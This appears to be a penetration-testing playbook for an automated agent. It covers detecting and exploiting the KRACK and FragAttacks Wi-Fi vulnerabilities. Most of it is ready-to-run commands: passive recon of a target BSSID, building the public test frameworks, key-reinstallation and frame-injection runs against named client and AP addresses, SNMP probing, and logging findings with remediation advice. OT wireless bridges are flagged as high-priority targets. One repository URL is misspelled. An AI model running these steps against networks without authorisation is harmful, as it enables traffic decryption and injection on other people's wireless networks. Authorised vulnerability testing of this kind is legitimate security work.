KRACK + FragAttacks

# 1. Identify the target supplicant / AP firmware version
# From passive beacons:
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/krack_recon \
    --output-format pcap <mon-iface>

tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head

# 2. Identify vendor/OUI from BSSID
echo "<BSSID>" | cut -d: -f1-3 | tr -d ':' | \
    grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \
    curl -s "https://api.maclookup.app/v2/macs/<first_6_hex>" 2>/dev/null

# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix
# Key rule of thumb:
#   - wpa_supplicant build date before 2017-10 → KRACK likely
#   - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely
#   - Linux kernel < 4.14 → KRACK 4-way impl flaw possible
#   - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key

# Clone the test framework
git clone https://github.com/vanhoej/krackattacks-scripts.git
cd krackattacks-scripts

# Install dependencies
pip3 install -r requirements.txt
sudo apt-get install -y libnl-3-dev libnl-genl-3-dev

# Build the modified hostapd
cd hostapd && cp defconfig .config && make -j4 && cd ..

# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)
# The script acts as an AP, manipulates the handshake, and confirms
# nonce reuse in the supplicant's TX frames.
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC>

# Test group key reinstallation (GTK, CVE-2017-13080)
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC> \
    --group-key-test

# KRACK requires MITM position between client and AP.
# Standard setup: clone the AP on a different channel, relay frames.
# The krackattacks-scripts handle this internally via the modified
# hostapd (acts as both client to real AP and AP to victim client).

# Confirm nonce reuse from captured frames:
tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \
    -T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \
    awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}'

# Clone the test framework
git clone https://github.com/vanhoef/fragattacks.git
cd fragattacks

pip3 install -r requirements.txt
# Build patched wpa_supplicant / hostapd as per README

# Run all FragAttacks tests against a target AP (acting as client)
sudo python3 fragattacks.py <iface> ping \
    --bssid <BSSID> --ssid "<SSID>" \
    --psk "<PSK_IF_KNOWN>"

# Test specific CVE (e.g., plaintext injection CVE-2020-26140):
sudo python3 fragattacks.py <iface> ping-frag-plaintext \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test aggregate injection (CVE-2020-24588):
sudo python3 fragattacks.py <iface> ping-amsdu \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test EAPOL pre-auth inject (CVE-2020-26139):
sudo python3 fragattacks.py <iface> eapol-inject \
    --bssid <BSSID> --ssid "<SSID>"

# The test tool will print per-test results like:
# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140)
# [FAILED]  mixed-key attack: AP correctly rejected

# Pcap evidence: confirm injected frame reached the target
tshark -r /tmp/fragattacks_test.pcap -Y "icmp" \
    -T fields -e ip.src -e ip.dst -e icmp.type 2>/dev/null
# A successful icmp echo from attacker's injected IP confirms injection.

Linux mac80211 (kernel < 5.8 without October 2020 patches):
  → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key)
  → Patch: kernel ≥ 5.8 + upstream backports

wpa_supplicant < 2.10 (pre October 2020):
  → CVE-2020-24587, CVE-2020-24586 (fragment cache)

Windows WLAN driver:
  → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast)
  → Patch: KB4571744 (August 2020 CU)

Custom RTOS / bare-metal 802.11 MAC (common in OT wireless bridges):
  → All design flaws likely; implementation flaws depend on the vendor.
  → No upstream wpa_supplicant → vendor must ship a custom patch.
  → HIGH priority target for this skill.

Confirm patch state from firmware version:
  iw dev <iface> info      # local driver
  snmpwalk -c public <AP_IP> 1.3.6.1.2.1.1.1.0  # AP sysDescr if reachable

kg_add_node(
    kind="finding",
    label=f"KRACK/FragAttacks: {cve_id} — {description}",
    props={
        "key": f"fragattacks::{bssid}::{cve_id}",
        "severity": "high",   # Injection/decryption: critical; exposure only: high
        "cve_ids": [cve_id],
        "bssid": bssid,
        "ssid": ssid,
        "client_mac": client_mac,       # if client-side flaw
        "flaw_type": flaw_type,         # "design" | "implementation"
        "test_result": "SUCCESS",
        "tool_output": tool_output_snippet,
        "remediation": (
            "Apply firmware/driver update from vendor. "
            "For wpa_supplicant: upgrade to ≥2.10. "
            "For mac80211: kernel ≥5.8 + security backports. "
            "For custom RTOS: contact vendor for KRACK/FragAttacks patch "
            "or isolate device from untrusted wireless clients."
        ),
    },
)